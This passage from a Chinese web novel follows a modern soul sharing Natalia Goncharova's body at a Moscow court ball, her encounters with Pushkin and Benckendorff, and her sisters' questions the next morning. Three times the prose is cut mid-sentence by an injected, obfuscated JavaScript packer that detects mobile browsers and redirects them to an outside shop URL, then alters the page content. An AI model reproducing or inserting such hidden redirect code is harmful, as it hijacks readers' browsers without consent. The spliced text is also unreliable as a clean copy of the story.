少女在无声地哭泣。那压抑的泣音,只在两个灵魂之间清晰地响起。 “对不起,莉娅,我太得意忘形了,完全没有注意到鞋子跳坏了。” “我怎么能这样呢?舞有什么好跳的,社交有什么意思呢?明明都是我早已不感兴趣的东西,我还跟个孩子似的沉迷……” “我怎么能做这么丢脸的事!” “我真的、真的太差劲了——” “快跟我换过来,我再也不要出来了。” 莉娅飘过去,伸出虚幻的手,仿佛捧起了那张梨花带雨的脸。 看着这张也属于自己的脸哭泣,她的心都要碎了。 “胡说什么呢,世上最可爱的娜塔,你完全不知道你有多迷人!” “我喜欢看美人跳舞,才不要因为这点小事就跟你换。你答应出来一次可太不容易了,我的灵魂同伴、世上的另一个我。” “鞋子的事说来都怪我……咱家这条件,是我前面练习太多,把它的寿命都耗光了——你说我怎么就不能像你一样,轻易就能驯服这该死的人类四肢,让它跳个好看的舞呢?” 说到这里,娜塔像是被戳中了什么奇怪的笑点,忽然破涕为笑。 莉娅见状,再接再厉:“我知道了,肯定是珊德拉的缘故!我这个重度颜控,一定是二姐拖了我学舞的后腿!” 娜塔的笑意更深了:“……珊德拉要知道你这么说她,绝对要把你压在身下挠痒痒的。” 莉娅想象了一下那个场景,觉得简直是酷刑。 她甩甩头从台阶上“站”起来,对着娜塔伸出手。 “那就帮我保守秘密吧,拜托你啦,我最亲爱的娜塔。作为回报,和我跳支舞吧——允许你用最犀利的言语,批判我那不协调的四肢哦。” 月光下,清冷的少女站起身,伸出手臂,应允了一次蹩脚的邀约。 她仿佛环住了一个看不见的舞伴,就着远处宴会厅里隐约传来的舞乐,翩然起舞。 少女在花丛里肆意地旋转、变换舞步,时而被什么逗笑,幼嫩的圆肩一颤一颤的,呼吸都带着蝴蝶振翅般的轻快。 花园里寂静冷清,远不如宫廷里喧嚣热闹。灵魂友人的男步生涩踉跄,可这份愉悦,却胜过与任何一位真正的舞伴共舞。 一曲舞毕,莉娅让娜塔脱下那只跳出了破洞的舞鞋。 她拥着她,引导着她。 “去他的礼教束缚,你是最完美的——现在,让我们去找妈妈,‘遭遇恶徒跑丢鞋子’的理由如何?我们可以回家啦。” 娜塔和莉娅笑着扬起手臂,一起将那只破旧的舞鞋用力丢了出去。 鞋子在空中划出一道抛物线,掉进远处的山茶花丛。 “啊。” 一声闷哼从花丛里传来。 一人一魂同时瞪大了眼睛,做贼心虚地扭过头去。 一只骨节分明的手,抓着那只舞鞋,从浓密的山茶丛里伸了出来。 月亮恰好挣脱云层,清辉洒落,映出一张令人无法忘却的异域脸。 “真是神奇的际遇,赞美缪斯——” “虽然不是水晶鞋……但我好像在午夜,‘捉住’了一位‘Cendrillon’呢。” 4. ·004· 普希金递上邀请函进入宫廷舞会时,时间不早不晚。 他没有刻意提前或晚到,只是刚巧想到今晚还有个社交热闹可以参与,他就出发了。 但在吃过佐餐,听到毫无新意的马祖卡舞曲,看到一对对年轻人滑进舞池、像陀螺一样开始不停旋转后,“无聊”这个词被无限放大。 他突然开始想念巷道拐角里那些带着脏污的吵闹小酒馆,想念叽叽喳喳、随时都能高谈阔论的友人,想念廉价却劲道十足的酒水…… 他想念外面的一切——即使被上等人认定不入流,都比这黄金造的鸟笼子自由快活得多。 失了兴致的普希金,干脆抄起宫廷侍者手里的酒,灵敏地避开某些视线,一个人来到花园。 他一点也不在意,寻了处顺眼的地方,直接在山茶花丛下的草坪上躺下。 久违的轻松和惬意,和在米哈伊洛夫斯克村乡野间的自由并无二别。 此刻,普希金甚至开始怀念他的流放生活。如果没有那封传令诏书,他甚至没有机会回莫斯科—— 当然也不会有那场直面帝王的单独谈话。 “亚历山大·谢尔盖维奇……很高兴终于能亲自认识俄罗斯第二聪明的人。”沙皇尼古拉一世从办公桌上的文书里抬起头。他放下笔,像会见老朋友似的自然地靠向椅背。 年轻的帝王挑眉,“感到惊讶吗?” 诗人慎重地斟酌,“我有所预料。” “当我思考祖国未来时,我已在心中与您进行过无数次对话。”普希金顿了顿,“如果不是您,陛下,这些问题我还能向谁提出?” “如今的俄罗斯,诗人的影响力几乎与君主平起平坐……”沙皇笑了笑,言尽意未决。 “请原谅,陛下,我是否应向您先表达赦免的感激——”诗人背起手,回避言语的暗芒。 尼古拉一世起身,摆摆手示意普希金停止官方的客套。 “把祖国的智慧流放在外,于我并无益处,”他从桌上拿起一小沓文件,“但亚历山大·克里斯托维奇·班肯多尔夫坚信,你比你那些发动了十二月叛乱的‘朋友们’要危险的多。” “你是我的‘敌人’,还是我的‘友人’?亚历山大·谢尔盖维奇?” 沙皇平静轻缓地抛出一个选择疑问句,但似乎供人选择的余地不多。 诗人以沉默作答。 “你是否为叛乱辩护?” 尼古拉一世的提问已避无可避。 普希金眼神闪烁,未有迟疑,肯定回应。 “我不为结果选择的手段辩护,我只为其目的辩护。” “那我们或许是‘朋友’了。” 那一天与君主的会面,他们似乎还进行了更深的探讨,但诗人有些记不清。 就着葡萄酒香,普希金开始思索:现今的沙皇究竟是想要什么?是怎样的一位角色?他是否能在年轻的帝王身上找到真正的希望? 他不敢信任沙皇,但又无比渴望相信,在与他探讨祖国的民生与未来时,这位名为尼古拉斯的男人的那双眼睛里的真诚。 不不不,清醒点儿,萨沙—— 如果那个人真正信任你,他便绝不会专门去审查你的所有文字,更不会派那只忠诚的狗,寸步不离地盯着你、掌控你的一举一动! “如果再给你一次重来的机会,”年轻的帝王手挑开厚重的窗帘,居高临下地远眺,意有所指,“你是选择在这,还是去那?” 同样年轻的诗人眼中波澜已起,这一次他没有回避,每一个字都是脱口而出的坚定: “我恨不得到他们中间去!” 普希金灌了自己一大口酒,他不为自己的回答后悔,也不为选择导致的后果懊恼。 就像他在从米哈伊洛夫斯克村回莫斯科的路上设想的那样:无聊透顶的时候,就抽空去谈场恋爱。如果连这样的消遣都被剥夺,那真连肉.体都要痛苦了。 深陷诡谲的漩涡里,总需要有一些真情存在,才能唤回人性,让人不至于沦为行尸走肉。 等等,他刚想到哪儿了?缪斯啊,赦免他今晚酒精的罪孽,噢,是安娜·阿列克谢耶夫娜—— 安涅塔是位可爱的姑娘,但时光流转,情谊易变。他们有缘无份,就不必再多徒增烦恼。 毕竟这姑娘的父亲是彼得堡公共图书馆馆长奥列夫先生。而今,他们一家对沙皇的态度已然改变,那普希金这位沙皇的“头号公敌”,便不再有与他们家成为密友的资格。 自流放归来,奥列夫先生对他的态度越发冷淡,奥列尼娜似乎也有了新的未婚夫…… 看吧,萨沙,你的决定是如此正确:友谊万岁! 新的邂逅也会来临。 普希金对月举起红酒瓶,没有对过去的沉痛与缅怀,只有对未来的希冀和盼望。 风吹来山茶花的冷香,普希金的酒醒了些,他忽然想起那天无疾而终的对话,似乎关于王子、公主和灰姑娘。 想到这里,诗人脸上绽放出真诚而热烈的笑容。 噢,缪斯啊—— 普希金竟然还相信童话,生活不是小说故事,哪有那么多曲折离奇的情节设定…… 啪的一声—— 突然,有什么东西砸在了诗人脸上。 “啊。” 条件反射地,他呼痛出声。 普希金错愕地取下脸上的东西,伸出手举高,他的手越过山茶花丛,碰落了几朵茶花。 透过月光,普希金看到手中究竟握着什么——是一只舞鞋,边缘破开一小道口子。 他愣了愣,随即立马起身,看到台阶处立着一道洁白的身影。 那是位身姿曼妙的女士,他的心脏忽然不受控制地跳动起来。 “真是神奇的际遇,赞美缪斯。” “虽然不是水晶鞋……但我好像在午夜,‘捉住’了一位‘Cendrillon’呢?” 距离越来越近,少女的脸在月光下慢慢显露出来。 普希金不由得愣住了。 墨色的黑发下,是一双灰色的、林间的小鹿的眼睛,洁白的舞裙是开在夜里的白玫瑰。极致的黑与白之间,又是怎样一张冰雪精灵化身的脸?比画作生动,比雕塑细腻,比文辞真实。 眉目流转间,她的举手投足都牵动着他的心魂。 心中的诗意如火燎原,漫天词句化作冬日里的吹雪,将他的人生覆写成璀璨夺目的星空。 萨沙·谢尔盖维奇,你完了—— 你真正的缪斯女神已于今夜降临。 你的灵魂,比你的身体先一步爱上了她。 * 莉娅按捺心中尖叫的小人,退到一边咬起了手指。 俊男美女,电影剧目一样神奇的相遇……此处绝对要有弹幕刷屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378112|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,铺天盖地地堆砌着“磕死我了”。 能近距离隐身围观灵魂姐妹的罗曼蒂克邂逅,全世界独她一份—— 娜塔若是谈个恋爱的话,会不会被点亮生命之火,就能摆脱厌世那股死气了? 那样的话,她愿意一辈子就当个幽灵,甚至消失也没关系! 黑色的小卷毛——虽然有些杂乱,发色加分; 麦色的皮肤——是充足运动带来的太阳的味道,健康加分; 五官端正鲜明——应该有异国血统,没有近亲基因缺陷,混血加分; 衣着气质自由随性——不是讲规矩教条的老古板,好耶,加分! 眨眼间,莉娅脑子里都有把娜塔和这男人的电视剧都演十级了,心里伴生的慌乱终止了男女主角的演出。 这是她第一次从娜塔那里共感了这么多情绪:疑惑不解、惊愕震荡、怅然失序、愧疚歉然…… 爱与恨交织成混乱的调色盘,莉娅顿时懵了。 娜塔和这个年轻人是旧识? 唉,不对,这男人的脸,怎么越看越眼熟…… 他到底是谁? 毕竟在莉娅的前半生里,不可能见过他;而在她魂穿的时日里,她根本没见过他! 正当莉娅被既视感弄得晕眩时,年轻男人再次开口打破凝滞已久的静夜。 “我诅咒青年时代, “那些讨厌的恶作剧: “在夜阑人静的花园里…… “我诅咒那调情的细语, “那弦外之音的诗句——’” 是诗歌,像是灵感爆发下即兴而作的片语,未曾精修,却带着自然流露的动人。 “抱歉,小姐,一遇到您,我的大脑就开始自己写诗了……那么,物归原主?” 男人走上前,停在安全的社交范围内,双手奉上了那只孤单的舞鞋。 喵了个咪的,上上个世纪的老古董撩人这么不知深浅的吗? 这语调、这小表情、这一举一动,奥斯卡最佳男主角的小金人在他面前都要自惭形秽。 作诗啊,这个时代文化人的标志。 这个年轻人是搞文学的?如此狂然热烈,怕是写作方向、内容相关非同一般。 不对,诗人?文学家? 要素拉满,既视感破表,不会吧—— “亚历山大·谢尔盖维奇·普希金,不知我是否有幸,能知道小姐的芳名?” 普希金。 俄罗斯的历史书页上,绝无第二个亚历山大·谢尔盖维奇·普希金。 姓氏尘埃落定。 灵魂灰败破碎,旖旎化为灰烬。 * 从月下映照出这张脸开始,娜塔莉亚的世界就混乱了。 她控制着身体不要剧烈地颤抖,努力忽略耳中的鸣响倾听外界的声音,拼命压抑脑中沸腾的思绪。 为什么? 为什么! 为什么?! 娜塔莉亚的灵魂快要崩溃。她想从这逃走,逃到没人能找到的世界尽头。 一切都不是她能承受的突然。 这个男人是未知。 ——他会变成意外,变成噩梦,变成一半的红和一半的黑。 娜塔莉亚机械地接过舞鞋,踉跄着套在脚上,利落转身,向喧闹的舞厅飞奔而去。 ——绝对不能和他扯上关系! 5. ·005· 娜塔莉亚在回廊里踩出一连串急促的回响。 在她身后,更急的脚步声追了上来。 “小姐——请等一等!” 少女没回头。 裙摆被她攥在手里提到脚踝,鞋底敲击大理石地面的频率再次加快,完全不像一位淑女该有的样子。 走廊尽头上楼就是舞厅的偏门。灯火通明的光从门缝里漏出来,乐声隐约可闻,那里有人群,有喧闹,有可以消失隐藏的安全地带。 “我绝无恶意!” 青年的声音又近了几步。 娜塔莉亚咬着后槽牙加快速度。转过楼梯拐角时,裙摆扫过栏杆,发出布料摩擦的声响。 一只手扣上了她的手腕。 力道不重,甚至称得上克制,但那一瞬间的触碰让娜塔莉亚整个人僵住了。脚下的步子猛地顿住,惯性带着她的身体往前冲了半步,险些踉跄。 手腕上的力道立刻松开了。 “……抱歉。” 普希金的声音从身后传来,带着跑动后微微的喘息。语调轻柔克制,音量压得很低,生怕惊扰什么胆小的可爱生灵。 “我不该碰您,是我失礼了。” 娜塔莉亚没有转身。 她维持着背对他的姿势站在楼梯转角,一只手还攥着裙摆,另一只手——被他碰过的那只——垂在身侧,指尖细微地发颤。 她不能转身。 一转身就会看见那张脸,看见那双眼睛,看见那个在记忆里被翻来覆去咀嚼了千百遍的轮廓。 “看过”太多东西的娜塔莉亚害怕噩梦降临,甚至连这种“反常”会暴露她的异样都顾不上了。 “我只是想认识您。”普希金的声音里没有轻浮,没有调笑,干干净净的一句话,“仅此而已。” 楼梯间的烛台在墙壁上投下摇晃的光影。娜塔莉亚的影子被拉得很长,和身后那个人的影子几乎要叠在一起。 她张了张嘴,喉咙里仿佛堵着一团棉花,什么都吐不出来。 脚步声从楼梯下方传上来。沉稳,不疾不徐,每一步都踩在固定的节拍上。 “普希金先生。” 一个中年男人的声音切进两人之间的沉默,不高不低,恰好能让在场的每个人都听清楚。 娜塔莉亚侧过头。 一个身着深色礼服的男人从楼梯下方走上来,身形挺拔,肩膀端得很平,军人出身的体态藏都藏不住。他的面容在烛光下显得棱角分明,一双幽暗的眼睛扫过普希金,再掠过娜塔莉亚,最后停在两人之间那段微妙的距离上。 “班肯多尔夫。” 娜塔莉亚听到诗人不甚友好的回应。 这个姓氏有些耳熟,能让普希金表露敌意的……沙皇的手下?秘密警察? “深夜在走廊里追逐一位落单的年轻小姐,”班肯多尔夫走上最后一级台阶,不紧不慢地整了整袖口,“这就是您所谓的''社交''?” 他没等普希金回答,径直走到娜塔莉亚面前,微微侧身,将自己的身体挡在了她和普希金之间。 “小姐,您没有受到惊吓吧?” 突然被问询,娜塔莉亚略感意外,乖顺地摇了摇头。 班肯多尔夫顿首,和她说话时的态度称得上温和,甚至带着几分长辈式的关切。但当他回头直面普希金时,那层温和就被剥得干干净净。 “冈察洛夫家的小姐?” 娜塔莉亚一愣——他在确认她的身份,特意说给普希金听的。 沉默也是一种回答,前方传来一声极轻的吸气。 班肯多尔夫对这个反应很满意,嘴角牵了牵,继续说下去:“娜塔莉亚小姐,我有义务提醒您——这位先生虽然在文坛上颇有些名气,但他的私德嘛……” 他偏了偏头,用一种检阅犯人的眼神打量普希金。 “赌桌上的常客,情场上的惯犯,流放归来不过数月,就已经在莫斯科的沙龙里留下了不少风流债。我劝您,离他远一些。” “将军阁下。” 得知倾心之人的名字是喜悦的,但在这种场合下,普希金的声音沉下来了。 有种不是愤怒,是一种被强行压住的、随时可能烧穿盖子的东西。 ““至今为止,我从未诱骗、强迫过任何一位女性。” “您若对我的社交行为有异议,大可以写进您的报告里呈给陛下——我倒很想知道,陛下的本意,是否是连一场舞会都不许我参加、连一句话都不许我与美人说?” 班肯多尔夫没有接话,只是笑了一下。那种笑不达眼底,嘴唇弯起的弧度精确得像是用尺子量过的。 “何必动怒呢。不愧是……”他顿了顿,目光在普希金的面孔上慢慢滑过,从他黝黑的短卷发滑到他偏深的肤色,“……血统使然。” 走廊里的空气冷了一瞬。 娜塔莉亚看见普希金的下颌线绷紧了,颈侧有一根青筋跳了一下。但他没有暴怒,没有挥拳,甚至没有提高音量。 “我的曾外祖父,亚伯拉罕·彼得洛维奇·汉尼拔,”普希金一字一顿,“本是非洲小国的王子,先为奥斯曼苏丹所重,后被彼得大帝亲自带回俄国收为教子,忠诚侍奉。女皇伊丽莎白一世赐他封地,给予上将军衔。” 他往前迈了一步。 “将军阁下侮辱我的血统,便是在质疑历代沙皇的恩赐。这笔账,您打算怎么算?” 走廊里安静了几秒。 班肯多尔夫的笑容没有消失,但凝固了。他那双幽暗的眼睛眯了眯,像一条被踩到尾巴却还没决定要不要咬人的蛇,缓慢地、仔细地重新打量了普希金一遍。 “……好一张利嘴。” 班肯多尔夫终于动了,往旁边让了半步,姿态变得“温和”起来,声调也放平了。 “普希金先生,我只是善意提醒——注意场合,莫要堕了贵族的头衔,失了绅士的风度。毕竟,这里是舞会,不是您写讽刺诗的书房。” “将军阁下说得对,这里是舞会。”普希金接得很快,“所以,如果您的秘密警察们能少几分添油加醋,这场舞会一定能多几分和谐热闹。” 他朝班肯多尔夫微微欠身,礼数周全得挑不出毛病,语气却带着不加掩饰的驱逐意味。 “劳驾,让个路——把舞厅还给要跳舞的人。” 班肯多尔夫盯着他看了两秒,笑了笑,侧身让开。 他转向娜塔莉亚,恢复了那副长辈式的温和面孔。 “娜塔莉亚小姐,希望您和今晚在场的女士们都能擦亮眼睛,不要被不合适的舞伴……拉低了档次。” 因为这句话,普希金的气息又变了——他像一根被拉到极限的弦,再多一分力就要崩断。 娜塔莉亚开口了。 “多谢您的关心,阁下。” 声音很轻,很平,没有多余的情绪起伏。 “别的小姐我不甚了解,但至少,我的视力是良好的。” 话音落下的瞬间,她感觉到诗人那根紧绷的弦松了,甚至变得舒畅怡然。 高压下的认同就是雪中送炭,虽然不能改变冬日的寒冷,但足以温暖慰藉一颗心。 娜塔莉亚没有给任何人留出接话的余地,提起裙摆向班肯多尔夫屈膝致礼,转身走向舞厅大门。 脚步稳,脊背直,呼吸匀。 她把所有的颤抖都锁在了骨头里面。 舞厅的门被侍从拉开,暖光和乐声扑面而来。上一曲的尾音正在消散,乐手们翻动着乐谱,准备下一轮的演奏。 娜塔莉亚刚迈进门槛两步,身后的声音就追了上来——不是脚步声,是一个逐爱的男人用尽全力的、穿透了整个舞厅前厅的呼喊。 那么热烈。 那么激动。 那么自信。 “娜塔莉亚小姐,请您当我的舞伴!” 舞厅里的嗡鸣絮语瞬间少了大片。 无数张面孔转过来,目光齐刷刷地落在门口。娜塔莉亚停在原地,背对着那个声音的来源,感觉那些视线像针一样扎在她的后背上。 她慢慢转过身。 普希金站在三步之外,一只手按在胸口,上半身深深地弯下去,行了一个标准的邀舞礼。他的黑色卷发因为方才的追逐而散落了几缕在额前,呼吸还没有完全平复,但那双眼睛亮得惊人。 娜塔莉亚看着他。 脑子里有一个声音在尖叫——不,不要,拒绝他,转身走开,现在就走。 嘴唇动了动,一个字都说不出来。 舞厅里所有的目光都钉在她身上。有人窃窃私语,有人举起扇子遮住嘴角的笑,有人踮起脚尖想看得更清楚。 娜塔莉亚的手指开始发麻。视野边缘在模糊。 一秒。 灰色的眼眸里,流光碎金亮了起来。 莉娅接住了这具快要站不住的身体。 上一秒她还在感慨另一个自己晚间如此跌宕的戏剧遭遇,下一秒便膝盖一软,她咬着牙稳住重心。 铺天盖地的恐惧、不安、沉痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378113|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、怀疑从骨髓里往外渗——不是源自她的情绪,却结结实实地砸在她的心口上。 心脏钝钝地疼了一下。 那是娜塔留在身体里的东西——怯懦,抗拒,和一个拼尽全力也没能说出口的字。 莉娅在心里喊了一声娜塔的名字,没有回应。 再喊,还是没有。 行吧。 莉娅深吸一口气,调整仪态,抬起下颌。 “我拒绝。” 两个词,清脆利落,砸进安静的舞厅里,溅起一片倒抽凉气的声响。 普希金维持着邀舞的姿势,整个人顿在那里。 莉娅没有多看他一眼。她转过身,步子不快不慢,裙摆在地面上拖出一道流畅的弧线,脊背挺得笔直,每一步都踩在淑女仪态的标准线上。 ——你看,亲爱的娜塔: ——向他说不,并没有那么难。 穿过舞厅的时间漫长得不像话。 莉娅维持着淑女那张高贵清冷冰块脸,余光扫过两侧交头接耳的人群,提心吊胆地控制着步幅——不能太快,太快像逃跑;不能太慢,太慢像犹豫。 走到舞厅尽头的露台门前时,她的后背已经被冷汗浸透了。 在心里又喊了一声娜塔,依然没有回音。 莉娅在心里把普希金的祖宗十八代问候了一遍——这下好了,娜塔恐怕很久都不会再愿意出来了。 她伸手拉开露台的玻璃门。 一堵墙撞上了她的额头。 不对,不是墙。 是一个人的胸膛,硬邦邦的,隔着衣料都能感觉到底下结实的肌肉轮廓。 一股冷冽的气息涌进她的鼻腔,带着硝烟和皮革混合的味道,干燥,凛冽,和舞厅里甜腻的香水味截然不同。 莉娅倒吸一口凉气,整个人弹开半步,手还扶在门把上,脑袋死死地低着,视线钉在地面上—— 一双黑色的军靴,擦得锃亮,靴筒笔挺,鞋尖正对着她。 她不敢抬头。 今晚撞见的名人够多了,再来一个她真的要原地去世。 “小姐。” 头顶上方落下一个低沉的男声,不急不缓,带着点被打断独处的微妙停顿。 “你是被棕熊叼走了魂,还是被怪物吓破了胆,连头都不敢抬?” 莉娅的脑子“嗡”了一声。 “对不起!是我鲁莽、是我的错,叨扰到您真是万分抱歉,我立马就在您眼前消失!” 话说完,鞠躬,双手推人,关门,一气呵成。 玻璃门在军靴的主人面前合上,莉娅提着裙子转身就跑,鞋跟在地板上敲出一串兵荒马乱的节奏。 ——妈妈,舞会太可怕了,她要回家,回家! 露台上,年轻的军官被关在门内,手里的高脚杯中诱人的酒红轻轻摇晃。 他愣了几秒。 隔着一层玻璃,少女仓皇逃窜的脚步声渐渐远去,中间夹杂着裙摆扫过家具的窸窣声和一声压低了的撞到拐角哀嚎。 军官冷峻的面孔上,那双浅蓝的眼睛里浮起一丝极淡的笑意。 他推开露台的门走进走廊,少女早已不见踪影。空荡荡的长廊里只剩下摇曳的烛光,和地上一朵冰蓝色的玫瑰花。 他弯腰捡起来。 丝绒铸就的花瓣,米珠点缀的花蕊,做工精巧得几乎以假乱真……但自然的造物里玫瑰从来没有蓝色,这是只属于人类手艺创造的美。 军官将那朵蓝色绒花别在胸前,直到舞会结束都没有取下。 女宾离场时,一位中年贵夫人思虑良久还是决定走过来,她的视线落在军官胸前那朵蓝色的玫瑰花上。 “这是什么品种的玫瑰?颜色真特别,一整晚了都没见它蔫半分。” “不是真花。” “哦?”夫人凑近看了看,惊叹出声,“这手艺……能否割爱?” “不能。” 男人回绝得干脆,没有犹豫,没有客套。 夫人挑了挑眉,露出一个了然的笑。 “看来不巧,是恋人所赠之花啊。” “并非,是一位小姐的遗失物。” “那我与这花是无缘了……不知是哪位小姐,手这么巧?” 贵夫人不死心地再次询问,对花的渴求根本无法遏制。 年轻的军官低头看了眼胸前冰蓝色的绒花玫瑰,浅蓝的眸子里映着舞厅最后一盏将熄的烛火。 “花的主人,是冈察洛娃家的娜塔莉娅。” 6. ·006· 娜塔莉娅是被一阵窒息感弄醒的。 不是噩梦,而是真实的呼吸不畅——有什么绵软的东西压在她鼻子上,那东西带着旧棉布和芳草的气味。娜塔莉娅伸手一扒,抓下来一枚手绢包。 不对,那是一只塞了干花的香包。 冈察洛娃家的女儿们日常挥霍不起香水,只能用香包替代。但只要不出门或出席社交场合,日常用的香包都是拿旧手绢改的。 贫穷的味道让少女清醒得比被泼冷水还彻底。 娜塔莉娅揉了揉眼睛,脑子还泡在昨晚舞会的残影里: 跳舞跳到鞋破,丢鞋子砸到人,在走廊里狂奔,撞了军官的胸膛……最后不知道怎么找到母亲,怎么回的家,怎么入的眠。 面对这种一想起来就恨不得失忆的生理反应,娜塔莉娅立马下了诊断:她要么得了宫廷舞会创伤后应激障碍,要么就是社交舞会过敏。 甚至以后再有人提“舞会”二字,她的膝跳反射大概就是夺门而逃。 果然,十九世纪的社交舞会,一点都不契合二十一世纪的自由灵魂。 被子掀开的瞬间,眼角的余光扫到床边蹲着两团东西。 娜塔莉娅整个人僵了半秒,然后缓缓转头—— 两张脸,近在咫尺,双手托腮,下巴搁在床沿上,笑得跟衙门门口的石狮子一样。 叶卡提丽娜在左,亚利克珊德拉在右。 两位姐姐用一种“坦白从宽抗拒从严”的慈祥笑容注视着她。她俩不知在床边蹲了多久,连床单都压出了印子。 “……你们干嘛?” “醒啦?” 叶卡提丽娜笑得温温柔柔,令人如沐春风。 亚利克珊德拉凑得更近些,圆脸上写满了八卦的渴望。 “昨晚好玩吗?” “不好玩。” “遇到帅哥了吗?” “没有。” “有没有人跟你搭话?” “不记得。” “有没有——” “没有,什么都没有。完全普通的舞会,跟平时没区别。” 娜塔莉娅面无表情地打断,拿过枕头挡在姐姐们脸前。 亚利克珊德拉不信,一把扯走枕头扔到地上。 “骗人!宫廷舞会跟家庭舞会能一样吗?” “一样的。”娜塔莉娅的回答干脆得没有一丝留恋,“就是人多一点,场地大一点,乐团多几把乐器,菜品多了好些甜点。” “就这样?” “就这样。” 亚利克珊德拉整个人往后一倒,直接躺在了娜塔莉娅腿边,开始小猪打滚。 她的少女心碎了一地。 “不可能啊——那诗歌里写的呢?小说里的烛光、华尔兹、命中注定的目光交汇呢?你都没碰到吗?” 娜塔莉娅沉默。 姐姐们的期待是故事,而她的经历完全就是事故。 忘了,二姐对罗曼蒂克的东西没有抵抗力; 咋办,姐姐越深究就越不想说呢。 但这个沉默被叶卡提丽娜精准捕捉。 大姐挪到床沿坐下,侧过身子,一只手轻轻搭上娜塔莉娅的肩膀,笑容温和却带着点审讯的意味。 “莉娅,你刚才回答所有问题都很果决,唯独到这就不说话。” 亚利克珊德拉立马从床上弹起来,直接压上了娜塔莉娅的肩膀。 “交代!如果什么都没发生,你肯定早就把我们轰走了——你是不是瞒了什么?” 两面包抄,无路可退。 娜塔莉娅看了看前面温柔微笑的大姐,又看了看后边双眼放光的二姐。 行,投降。 躲不过,惹不起,毕竟姐妹之间也有血脉压制。 “……好吧。昨晚确实出了点状况。” 姐姐们的眸子同时亮了。 “舞会开场的时候,邀舞的人排队了。” 叶卡提丽娜微微睁大了眼,亚利克珊德拉“哇”了一声。 “然后跳到不知道第几支舞的时候,我的舞鞋破了个洞。” “哎呀……” “有个贵小姐摇着扇子走过来,小声指着我的鞋让我退场。” 倒吸凉气的声音,两个人同步发出。 “我跑到花园里,越想越气——”娜塔莉娅停了一下,观察姐姐们的反应。 两个人猫眼圆圆,呼吸都悬着。 她刻意拖长了尾音——姐姐们紧张巴巴的模样太可爱,她忍不住多吊了两秒。 “就把鞋脱下扔了出去。” 亚利克珊德拉的嘴巴张成正圆。 叶卡提丽娜抬手捂住了半张脸。 “然后——” 娜塔莉娅清了清嗓子。 “鞋砸到人了。” “啊!” 两个人同时双手捂嘴,尖叫硬生生卡在喉咙里,整张脸都涨红了。 够了,猫猫不能多逗,姐姐们也一样。 娜塔莉娅正要把后面的事往下讲,叶卡提丽娜突然一拍手,声音陡然拔高。 “说起来!昨晚的宫廷舞会肯定来了不少勋贵吧?妈妈回来就在念叨,说时间不够好多人没来得及招呼——” 这话题转换的技巧……生硬得跟劈柴似的。 亚利克珊德拉立刻跟上。 “对对对,我听说好多艺术界的名人都出席了,也不知道——” 她顿了顿,试探性地往外丢了个名字。 “普希金来了没有?他好像就在莫斯科……” 娜塔莉娅嘴角抽了一下。 两位姐姐在拼命岔开话题。她看得出来,也领这份好意——她们怕自己提起被欺负的事伤心,以及那堪称社交灾难行为的丢脸黑历史,所以生硬地把天聊到了别处。 善良又可爱的姐姐们。 但她们选了一个最错误的方向。 “我舞鞋砸到的那个人,”娜塔莉娅顿了顿,面无表情地倒豆子,“就是普希金。” 房间安静了整整一秒钟。 那一秒里,窗外的风声都格外清晰。 然后—— “什么?!” “你砸到了普希金?!” 两道尖叫劈开了冈察洛娃家清晨的宁静。隔壁房间的墙皮大概都要震掉了。 娜塔莉娅不安地点了点头。 完了,不该说的。 叶卡提丽娜的温柔面具碎了。 亚利克珊德拉的眼睛里燃起了火。 两个人同时朝她逼近,那架势不像姐姐亲近妹妹,反倒像两头嗅到猎物的母狮子进入了猎杀时刻。 “你跟他道歉了吗?”大姐笑得身后飘花。 “昨晚有月亮——你看清他的脸了没有?他是不是很帅?”二姐的唇角翘得越高。 “你们后来说话了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378114|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一起回舞厅了吗?”叶卡提丽娜的语速加快。 “你们跳舞了吗?!”亚利克珊德拉这句几乎是吼出来的。 娜塔莉娅一路被逼退到床头,后背贴上了冰凉的木板。 “没。他邀了舞,但我拒绝了……” 死寂。 叶卡提丽娜发出了一声气音,那是她迄今为止发出的最大动静。 亚利克珊德拉的脸色经历了震惊、空白、崩溃三个阶段,耗时不到两秒。 “那可是普希金啊,莉娅。” 大姐的声音轻轻的,却字字都砸在娜塔莉娅心口。 “你怎么敢——”亚利克珊德拉冲过来,双手掐住娜塔莉娅的肩膀开始疯狂摇晃,“你怎么敢拒绝普希金的邀舞?!脑子进水了吗——你个不知福的死丫头,我要是有这个机会我——啊啊啊啊!” 娜塔莉娅的脑浆随着二姐的摇晃在颅腔里来回晃荡,视野都模糊了。 她求救似的向大姐伸手。 叶卡提丽娜没有拦,用一种你罪有应得的谴责目光看着她。 救命! 